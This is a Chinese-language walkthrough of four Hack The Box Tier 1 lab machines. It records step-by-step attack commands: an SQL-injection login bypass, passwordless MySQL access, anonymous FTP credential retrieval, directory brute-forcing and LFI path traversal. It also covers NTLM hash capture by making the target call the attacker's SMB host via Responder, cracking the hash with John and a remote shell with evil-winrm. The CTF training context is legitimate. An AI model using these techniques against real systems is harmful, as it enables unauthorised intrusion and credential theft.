Hack the box -- 靶机渗透测试(TIER1)
写在前面
本文针对Hack the box 靶机TIER1渗透过程进行记录。
Appointment
开启在线靶机,靶机IP为10.129.208.78。
- 端口扫描
扫描命令为 nmap -sS -sV -sC -v 10.129.208.78。由下图结果看出目标主机开放了80端口的http服务,所以尝试查看页面。
2.SQL注入
浏览器输入靶机IP10.129.208.78,页面如下。发现是个登录界面,首先尝试常见密码登录如root:root admin:admin administrator:password,登录失败。
随即尝试SQL注入,用户名输入admin‘#,密码输入 123(可随意输入)。成功登录。
Flag 成功获取
Sequel
开启在线靶机,靶机IP为10.129.246.195。
- 端口扫描
扫描命令为 nmap -sV -sC -v 10.129.246.195。发现在3306端口存在mysql服务,尝试用mysql连接数据库。
- 数据库连接
输入命令 **mysql -h 10.129.246.195 -u root ** 尝试连接(说明:由于MariaDB中root用户默认登录方式是使用socket连接,而不验证密码)。
查看数据库名
查看表名
查看表中数据
Flag 成功获取
Crocodile
开启在线靶机,靶机IP为10.129.91.242
-
端口扫描
扫描命令为 nmap -sV -sC -v 10.129.246.195。发现在21、80分别开启了ftp与http服务。
-
尝试FTP连接
输入命令为 ftp 10.129.91.242,提示我们连接要输入密码。
通过搜索vsftpd 3.0.3服务得知可用anonymous或ftp,密码任意进行登录。
(详情参考链接: link)
通过查找发现存在allowed.userlist //allowed.userlist.passwd两个文件
将文件下载并打开查看内容,发现其中包含了账户与密码。
-
查看80 端口 http服务
输入目标主机IP 10.129.246.195,打开页面如下。由于之前获得账户与密码,所以尝试寻找登录界面,在浏览页面后没有发现登录界面,所以尝试目录爆破查找。
由于之前获得账户与密码,所以尝试寻找登录界面按钮与链接。在浏览页面后没有发现登录界面,所以尝试目录爆破进行查找。 -
目录爆破
工具使用gobuster,输入命令gobuster dir --url http://10.129.91.242/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -
尝试登录后台
发现admin:rKXM59ESxesUFHAd可以成功登录。
Flag 获取成功
Responder
开启在线靶机,靶机IP为10.129.136.165
-
端口扫描
扫描命令为 **nmap -p- --min-rate 5000 -sV -v 10.129.136.165 **。(说明:-p-实现全端口扫描,及1-65535;–min-rate {numbers},表示Nmap每秒至少发送包的数量)发现开放 80 http端口以及 5985 windows远程管理端口。
-
查看http服务
发现无法登录,显示无法连接 unika.htb 服务器。
所以修改本地hosts文件,添加 10.129.136.165 unika.htb(root用户下,输入命令 ** vi /etc/hosts **,按 i 进行输入,输入完成后ESC 输入 :wq保存退出)
刷新页面,发现成功进入。
尝试点击后发现,切换语言选项点击后,页面url变为 http://unika.htb/index.php?page=french.html
页面输入未被清理,可能会受到本地文件包含(LFI)漏洞的潜在攻击。 -
文件包含漏洞
修改url为:http://unika.htb/index.php?page=…/…/…/…/…/…/windows/system32/drivers/etc/hosts页面返回如下
发现我们成功打开该目录下的hosts文件,说明存在本地文件包含漏洞(LFI)。既然存在LFI,即可能可以include我们自己的文件,同时如果我们开发的是smb协议,还可能获得windows进行身份验证的NTLM内容。 -
Responder 进行NTLM捕捉
Responder下载地址:https://github.com/lgandx/Responder(kali自带responder工具)
输入 responder -I tun0 开启服务
修改页面url为http://unika.htb/?page=//10.10.16.12/whatever(其中 10.10.16.12 为本机IP地址,whatever 为请求文件,由于我们是想获得NTLM的验证码,所以可以任意填写)
Responder成功收到来自目标靶机的验证,发现验证码被加密。
-
尝试用 哈希碰撞(hash crack)破解上述验证码
工具使用: john the Ripper(kali系统自带john无需安装)
输入命令:john -w=/usr/share/wordlists/rockyou.txt hash.txt进行破解。(/usr/share/wordlists/目录下的rockyou.txt可能没有解压导致报错,进入到该目录下 使用 gunzip rockyou.txt.gz解压后,重新输入命令即可运行成功)
破解结果为 Administrator:badminton
-
尝试远程登录目标主机
由最开始的端口扫描得知目标主机开启了远程管理服务(windows remote management),且我们使用john破解到登录的用户名与密码,所以尝试登录目标主机。
工具使用 :evil-winrm
下载地址:https://github.com/Hackplayers/evil-winrm(也可尝试直接 sudo apt install evil-winrm 进行安装 )
安装完成后,输入命令:evil-winrm -i 10.129.104.102 -u administrator -p badminton 成功连接
通过查找发现Flag文件在用户mike的桌面中